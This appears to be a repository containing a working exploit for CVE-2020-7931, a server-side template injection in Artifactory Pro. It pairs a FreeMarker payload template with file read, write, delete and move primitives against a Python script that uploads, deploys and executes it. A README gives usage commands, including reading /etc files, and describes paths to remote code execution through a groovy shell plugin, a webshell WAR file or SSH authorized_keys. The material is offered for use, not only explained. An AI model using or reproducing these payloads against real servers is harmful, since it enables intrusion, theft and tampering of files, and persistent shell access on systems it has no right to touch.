├── sample.xml ├── artifactory_CVE-2020-7931.py └── README.md /sample.xml: -------------------------------------------------------------------------------- 1 | <#compress> 2 | <#assign protected_domain=security.getClass().getProtectionDomain()> 3 | <#assign loader=protected_domain.getClassLoader()> 4 | <#assign root=loader.getResources()> 5 | <#assign context=root.getContext()> 6 | <#assign host=context.getParent()> 7 | <#assign action=request.getParameter("0")> 8 | <#assign orig_appbase=host.getAppBaseFile()> 9 | 10 | <#if action == 'info'> 11 | Host application base: ${orig_appbase} 12 | <#assign baseURLs=root.getBaseUrls()> 13 | Current application base: ${baseURLs[0]} 14 | 15 | 16 | <#if action == 'read'> 17 | <#assign filename=request.getParameter("1")> 18 | <#attempt> 19 | <#include filename parse=false encoding="UTF-8"> 20 | <#recover> 21 | Failed to read ${filename} 22 | 23 | 24 | 25 | <#if action == 'read_bytes'> 26 | <#assign filename=request.getParameter("1")> 27 | <#assign urls=protected_domain.getClassLoader().getURLs()> 28 | <#attempt> 29 | <#assign file_url=urls[0].toURI().resolve(filename).toURL()> 30 | <#assign file_content=file_url.getContent()> 31 | <#list 0..999999999 as _> 32 | <#assign byte=file_content.read()> 33 | <#if byte == -1> 34 | <#break> 35 | 36 | ${byte}, 37 | <#recover> 38 | Failed to read ${filename} 39 | 40 | 41 | 42 | <#if action == 'list'> 43 | <#assign src=request.getParameter("1")> 44 | <#assign x=host.setAppBase(src)> 45 | <#assign source_file=host.getAppBaseFile()> 46 | <#assign list=source_file.list()> 47 | <#list list as item> 48 | ${item} 49 | 50 | <#assign x=host.setAppBase(orig_appbase)> 51 | 52 | 53 | <#if action == 'create_file'> 54 | <#assign src=request.getParameter("1")> 55 | <#assign x=host.setAppBase(src)> 56 | <#assign source_file=host.getAppBaseFile()> 57 | creating file ${source_file} 58 | success: ${source_file.createNewFile()?string} 59 | <#assign x=host.setAppBase(orig_appbase)> 60 | 61 | 62 | <#if action == 'mkdir'> 63 | <#assign src=request.getParameter("1")> 64 | <#assign x=host.setAppBase(src)> 65 | <#assign source_file=host.getAppBaseFile()> 66 | creating directories ${source_file} 67 | success: ${source_file.mkdirs()?string} 68 | <#assign x=host.setAppBase(orig_appbase)> 69 | 70 | 71 | <#if action == 'delete'> 72 | <#assign src=request.getParameter("1")> 73 | <#assign x=host.setAppBase(src)> 74 | <#assign source_file=host.getAppBaseFile()> 75 | deleting ${source_file} 76 | success: ${source_file.delete()?string} 77 | <#assign x=host.setAppBase(orig_appbase)> 78 | 79 | 80 | <#if action == 'move'> 81 | <#assign src=request.getParameter("1")> 82 | <#assign dst=request.getParameter("2")> 83 | <#assign x=host.setAppBase(src)> 84 | <#assign source_file=host.getAppBaseFile()> 85 | ${host.setAppBase(dst)} 86 | <#assign dest_file=host.getAppBaseFile()> 87 | source: ${source_file} 88 | destination: ${dest_file} 89 | success: ${source_file.renameTo(dest_file)?string} 90 | <#assign x=host.setAppBase(orig_appbase)> 91 | 92 | 93 | <#if action == 'copy'> 94 | <#assign src_path=request.getParameter("1")> 95 | <#assign src=request.getParameter("2")> 96 | <#assign dst=request.getParameter("3")> 97 | <#assign URLs=loader.getURLs()> 98 | <#assign URLs=URLs+[URLs[0].toURI().resolve(src_path).toURL()]> 99 | <#assign newClassLoader=loader.newInstance(URLs)> 100 | <#assign stream=newClassLoader.getResourceAsStream(src)> 101 | <#assign writeResult=root.write(dst, stream, true)> 102 | Wrote file to disk: ${writeResult?string} 103 | 104 | 105 | 106 | -------------------------------------------------------------------------------- /artifactory_CVE-2020-7931.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Credits: https://github.com/atredispartners/advisories/blob/master/ATREDIS-2019-0006.md 3 | # Install docker artifactory: https://www.jfrog.com/confluence/display/JFROG/Installing+Artifactory#InstallingArtifactory-DockerInstallation 4 | # Default artifactory web application root path (where you can write): /opt/jfrog/artifactory/tomcat/webapps/artifactory/ 5 | # Default tomcat webapps path (for .war files): /opt/jfrog/artifactory/tomcat/webapps/ 6 | # Default upload path: /var/opt/jfrog/artifactory/data/tmp/artifactory-uploads/ 7 | # Symlinked: /opt/jfrog/artifactory/data/tmp/artifactory-uploads/ 8 | # Default plugins path (for .groovy files): /var/opt/jfrog/artifactory/etc/plugins/ 9 | # Symlinked: /opt/jfrog/artifactory/etc/plugins/ 10 | import argparse 11 | import requests 12 | import json 13 | import urllib3 14 | 15 | 16 | repo_name = 'example-repo-local' 17 | 18 | 19 | # SUPPRESS WARNINGS ############################################################ 20 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 21 | 22 | 23 | # FUNCTIONS #################################################################### 24 | def get_cookie(host, user, password): 25 | data = json.dumps({'user':user, 'password':password, 'type':'login'}) 26 | headers = {'Content-Type':'application/json'} 27 | r = requests.post(host + '/artifactory/ui/auth/login', 28 | headers=headers, data=data, verify=False) 29 | print(r.text) 30 | 31 | for cookie in r.cookies: 32 | print(cookie.value) 33 | 34 | 35 | def upload(host, file_to_upload, cookie): 36 | cookies = {'SESSION':cookie} 37 | headers = {'X-Requested-With':'artUI'} 38 | files = {'upload_file': open(file_to_upload,'rb')} 39 | r = requests.post(host + '/artifactory/ui/artifact/upload', 40 | cookies=cookies, headers=headers, files=files, verify=False) 41 | print(r.text) 42 | 43 | 44 | def deploy_template(host, template, cookie): 45 | cookies = {'SESSION':cookie} 46 | headers = {'X-Requested-With':'artUI', 'Content-Type':'application/json'} 47 | data = '{"action":"deploy","unitInfo":{"artifactType":"base","path":"/' + template + '","mavenArtifact":false,"valid":true,"origArtifactType":"base","debianArtifact":false,"vagrantArtifact":false,"composerArtifact":false,"cranArtifact":false,"bundle":false,"type":"xml"},"fileName":"' + template + '","repoKey":"' + repo_name + '"}' 48 | r = requests.post(host + '/artifactory/ui/artifact/deploy', 49 | cookies=cookies, headers=headers, data=data, verify=False) 50 | print(r.text) 51 | 52 | 53 | def set_filtered(host, template, cookie): 54 | cookies = {'SESSION':cookie} 55 | headers = {'X-Requested-With':'artUI', 'Content-Type':'application/json'} 56 | data = '{"repoKey":"' + repo_name + '","path":"' + template + '"}' 57 | r = requests.post(host + '/artifactory/ui/filteredResource?setFiltered=true', 58 | cookies=cookies, headers=headers, data=data, verify=False) 59 | print(r.text) 60 | 61 | 62 | def drop_template(host, template, cookie): 63 | upload(host, template, cookie) 64 | deploy_template(host, template, cookie) 65 | set_filtered(host, template, cookie) 66 | 67 | 68 | def exec_template(host, template, arguments, cookie): 69 | cookies = {'SESSION':cookie} 70 | nb_arguments = 0 71 | for argument in arguments: 72 | if nb_arguments == 0: 73 | http_arguments = '?{}={}'.format(nb_arguments, argument) 74 | else: 75 | http_arguments = http_arguments + '&{}={}'.format(nb_arguments, argument) 76 | nb_arguments += 1 77 | 78 | r = requests.get(host + '/artifactory/' + repo_name + '/' + template + http_arguments, 79 | cookies=cookies, verify=False) 80 | print(r.text) 81 | 82 | 83 | def reload_plugins(host, cookie): 84 | cookies = {'SESSION':cookie} 85 | headers = {'X-Requested-With':'artUI'} 86 | print(host + '/artifactory/api/plugins/reload') 87 | r = requests.post(host + '/artifactory/api/plugins/reload', 88 | cookies=cookies, headers=headers, verify=False) 89 | print(r.text) 90 | 91 | 92 | # MAIN ######################################################################### 93 | parser = argparse.ArgumentParser(description = '') 94 | parser.add_argument('-H', '--host', type=str, required=True) 95 | parser.add_argument('-u', '--user', type=str) 96 | parser.add_argument('-p', '--password', type=str) 97 | parser.add_argument('-c', '--cookie', type=str) 98 | parser.add_argument('-U', '--upload', type=str) 99 | parser.add_argument('-g', '--get_cookie', action='store_true') 100 | parser.add_argument('-d', '--drop_template', type=str) 101 | parser.add_argument('-e', '--exec_template', type=str) 102 | parser.add_argument('-r', '--reload_plugins', action='store_true') 103 | parser.add_argument('-R', '--repository_name', type=str, help='Default: example-repo-local') 104 | 105 | args, remaining_args = parser.parse_known_args() 106 | host = args.host.rstrip('/') # Java is retarded 107 | 108 | if args.repository_name: 109 | repo_name = args.repository_name 110 | 111 | if args.upload: 112 | upload(host, args.upload, args.cookie) 113 | 114 | if args.get_cookie: 115 | get_cookie(host, args.user, args.password) 116 | 117 | if args.drop_template: 118 | drop_template(host, args.drop_template, args.cookie) 119 | 120 | if args.exec_template: 121 | exec_template(host, args.exec_template, remaining_args, args.cookie) 122 | 123 | if args.reload_plugins: 124 | reload_plugins(host, args.cookie) 125 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | CVE-2020-7931: SSTI exploitation in Artifactory Pro 2 | =================================================== 3 | 4 | CVE-2020-7931 is somewhat of a purposeful misconfiguration vulnerability in Artifactory that lets attackers conduct [server-side template injections](https://portswigger.net/kb/issues/00101080_server-side-template-injection) from a [FreeMarker template](https://freemarker.apache.org/). 5 | 6 | The vulnerability was discovered by [Ryan Hanson from Atredis](https://github.com/atredispartners/advisories/blob/master/ATREDIS-2019-0006.md) and was fixed for all affected versions in late 2019. It will only work on the Pro versions of Artifactory, as other versions do not have templating capabilities. 7 | 8 | This repository contains a [script](./artifactory_CVE-2020-7931.py) and a [template](./sample.xml). 9 | 10 | * The python script is a wrapper to automate the uploading, deployment and execution of template payloads. 11 | * The template implements many primitives (read, list, write...) that interact with the filesystem and lead to Remote Code Execution. 12 | 13 | 14 | Template contents 15 | ----------------- 16 | 17 | The template grabs the first GET parameter to determine its desired action. Valid actions are: 18 | ``` 19 | info Returns info about the current configuration 20 | read Reads a file, as is 21 | read_bytes Reads a file binarily as integers 22 | list List a directory contents 23 | create_file Create an empty file 24 | mkdir Create a folder 25 | delete Delete a file or empty folder 26 | move Move a file (*) 27 | copy Copy a file to the application's web root. Pay attention to the quirky arguments (**) 28 | ``` 29 | 30 | (\*): move uses the Java [renameTo method](https://docs.oracle.com/javase/7/docs/api/java/io/File.html#renameTo(java.io.File)) which does not work accross different filesystems. To perform a move accross filesystems, copy then move have to be used, more info below. 31 | 32 | (\*\*): source has to be split between the basepath and the filename; destination is relative to artifactory's web application root path, e.g. ```/opt/jfrog/artifactory/tomcat/webapps/artifactory/``` 33 | 34 | 35 | Script usage 36 | ------------ 37 | ``` 38 | usage: artifactory_CVE-2020-7931.py [-h] -H HOST [-u USER] [-p PASSWORD] 39 | [-c COOKIE] [-U UPLOAD] [-g] 40 | [-d DROP_TEMPLATE] [-e EXEC_TEMPLATE] [-r] 41 | [-R REPOSITORY_NAME] 42 | 43 | optional arguments: 44 | -h, --help show this help message and exit 45 | -H HOST, --host HOST 46 | -u USER, --user USER 47 | -p PASSWORD, --password PASSWORD 48 | -c COOKIE, --cookie COOKIE 49 | -U UPLOAD, --upload UPLOAD 50 | -g, --get_cookie 51 | -d DROP_TEMPLATE, --drop_template DROP_TEMPLATE 52 | -e EXEC_TEMPLATE, --exec_template EXEC_TEMPLATE 53 | -r, --reload_plugins 54 | -R REPOSITORY_NAME, --repository_name REPOSITORY_NAME 55 | Default: example-repo-local 56 | ``` 57 | 58 | ### Getting and setting a cookie 59 | ``` 60 | export cookie=$(./artifactory_CVE-2020-7931.py -H http://localhost:8081 -g -u admin -p password | grep '-') && echo $cookie 61 | ``` 62 | 63 | ### Uploading a file 64 | ``` 65 | ./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -U sample.groovy 66 | ``` 67 | 68 | ### Deploying the template 69 | ``` 70 | ./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -d sample.xml 71 | ``` 72 | 73 | ### Executing the template 74 | ``` 75 | ./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml list /etc/ 76 | ./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml read /etc/password 77 | ``` 78 | 79 | ### Copying a file accross mountpoints 80 | As we've seen, renameTo() will not work accross different filesystems. To emulate this, first copy the file then move it (do it immediately, or else artifactory might crash!): 81 | ``` 82 | ./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml copy /var/opt/jfrog/artifactory/data/tmp/artifactory-uploads/ bla /bla (***) 83 | ./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml move /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla /etc/bla 84 | ``` 85 | 86 | (\*\*\*): As explained previously, here ```/bla``` actually refers to ```/opt/jfrog/artifactory/tomcat/webapps/artifactory/bla``` because ```root.write()``` will necessarily write to the current application's web root. 87 | 88 | This lets you exploit configurations that are storing artifacts on a separate filesystem (which is a sound practice!). 89 | 90 | 91 | Getting Remote Code Execution 92 | ----------------------------- 93 | By default with an artifactory install, it's not possible to instantiate classes, thus the [regular freemarker.template.utility.Execute trick](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#code-execution-2) will not work. 94 | 95 | There are several other ways to get remote code execution just by manipulating the filesystem: 96 | 97 | * adding a public key to the users's authorized_keys file, which might not work for a number of reasons (maybe there's no SSH, maybe it has no PubKey authentication, maybe it's configured to look in /etc/ssh/authorized_keys rather than in user's homes ...) 98 | * executing a groovy plugin 99 | * starting a Tomcat servlet that implements a webshell 100 | 101 | 102 | ### Executing a groovy plugin 103 | Here's an example of a groovy plugin that performs shell execution, [more elaborate examples here](https://github.com/gquere/pwn_jenkins#command-execution-from-groovy): 104 | ``` 105 | def proc = "ls -la /etc".execute(); 106 | def os = new StringBuffer(); 107 | proc.waitForProcessOutput(os, System.err); 108 | println(os.toString()); 109 | ``` 110 | 111 | Plugins have to be placed in the plugin path ```/var/opt/jfrog/artifactory/etc/plugins/``` and have to be reloaded by using an [API call](https://www.jfrog.com/confluence/display/JFROG/Artifactory+REST+API#ArtifactoryRESTAPI-ReloadPlugins) that requires **Artifactory admin privileges**: 112 | ``` 113 | ./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -r 114 | ``` 115 | 116 | 117 | ### Starting a Tomcat servlet (deploying a .war file) 118 | Here's a [Tomcat servlet](https://github.com/gquere/javaWebShell) that implements a webshell. 119 | 120 | WAR files have to be placed in Tomcat webapps path ```/opt/jfrog/artifactory/tomcat/webapps/```. By default, deployment of WAR files is automatic and will start another web application next to the Artifactory instance, e.g. at ```http://localhost:8081/sample/```. 121 | 122 | This is the preferred method as it does not require Artifactory admin privileges and it's just simpler to execute commands on the fly. 123 | --------------------------------------------------------------------------------